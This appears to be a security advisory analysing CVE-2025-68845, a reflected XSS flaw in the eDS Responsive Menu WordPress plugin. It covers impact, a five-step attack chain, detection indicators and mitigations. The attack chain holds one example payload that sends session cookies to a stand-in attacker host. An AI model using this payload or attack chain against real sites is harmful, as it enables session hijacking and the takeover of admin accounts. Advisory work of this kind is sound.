CVE-2025-68845: 
WordPress vulnerability analysis and mitigation

CVE-2025-68845 is a Reflected Cross-Site Scripting (XSS) vulnerability in the eDS Responsive Menu WordPress plugin by aThemeArt Translations, affecting all versions up to and including 1.2. The flaw was reported by security researcher Skalucy on November 16, 2025, and published by Patchstack on January 27, 2026, with NVD publication on February 20, 2026. No official patch from the vendor is currently available. It carries a CVSS v3.1 base score of 7.1 (Medium/High) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically the reflected variant. Insufficient sanitization of user-supplied input within the eDS Responsive Menu plugin allows an attacker to craft a malicious URL containing injected JavaScript that is reflected back to the victim's browser when the link is visited. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged or regular user must click a crafted link or visit a malicious page. The attack vector is network-based with low attack complexity and a changed scope, meaning the injected script executes in the context of the victim's browser session on the affected WordPress site (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browser of a victim who clicks a crafted link, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The CVSS assessment indicates low confidentiality, integrity, and availability impact with a changed scope, meaning the attack can affect resources beyond the vulnerable plugin itself. Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of their size or traffic (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no confirmed evidence of active in-the-wild exploitation. The EPSS score is approximately 0.029%, indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack classifies it as medium priority and warns it is expected to be exploited, consistent with patterns seen in mass WordPress plugin exploit campaigns (Patchstack).

1. Reconnaissance: Identify WordPress sites running the eDS Responsive Menu plugin version ≤ 1.2 using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
2. Craft malicious URL: Construct a URL targeting the vulnerable parameter in the eDS Responsive Menu plugin that includes a reflected XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or similar encoded payload).
3. Deliver the link: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedding in a forum/comment.
4. Victim interaction: When the victim clicks the link and loads the page, the malicious script executes in their browser within the context of the WordPress site.
5. Achieve objective: The attacker harvests session cookies, performs actions on behalf of the victim (e.g., creating admin accounts, installing backdoors), or redirects the victim to a phishing page (Patchstack).

• Network: HTTP requests to WordPress pages containing URL-encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=) in query parameters associated with the eDS Responsive Menu plugin; outbound requests from victim browsers to unknown external domains shortly after page load.
• Logs: Web server access logs showing GET requests with suspicious encoded payloads (e.g., %3Cscript%3E, javascript:) in plugin-related URL parameters; referrer headers pointing to external attacker-controlled domains.
• File System: Unexpected modifications to WordPress core files, theme files, or addition of new admin accounts (indicating post-exploitation activity following session hijacking).
• Process/Application: New WordPress administrator accounts created without authorization; unexpected plugin installations or changes to site settings following a suspicious login session.

As of the publication date, no official patch from the plugin developer (aThemeArt Translations) is available for eDS Responsive Menu version 1.2 or earlier. Site administrators should consider deactivating and removing the plugin until a patched version is released. Patchstack has issued a virtual patching/mitigation rule for subscribers to block exploitation attempts in the interim. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules and enforcing Content Security Policy (CSP) headers can reduce exploitation risk (Patchstack).

Patchstack, which discovered and published the vulnerability through researcher Skalucy, flagged it as medium priority and noted it is characteristic of vulnerabilities used in mass WordPress exploit campaigns. The vulnerability was included in Wordfence's weekly WordPress vulnerability report for the period of January 26 – February 1, 2026, indicating broader community awareness within the WordPress security ecosystem (Patchstack, Wordfence Blog).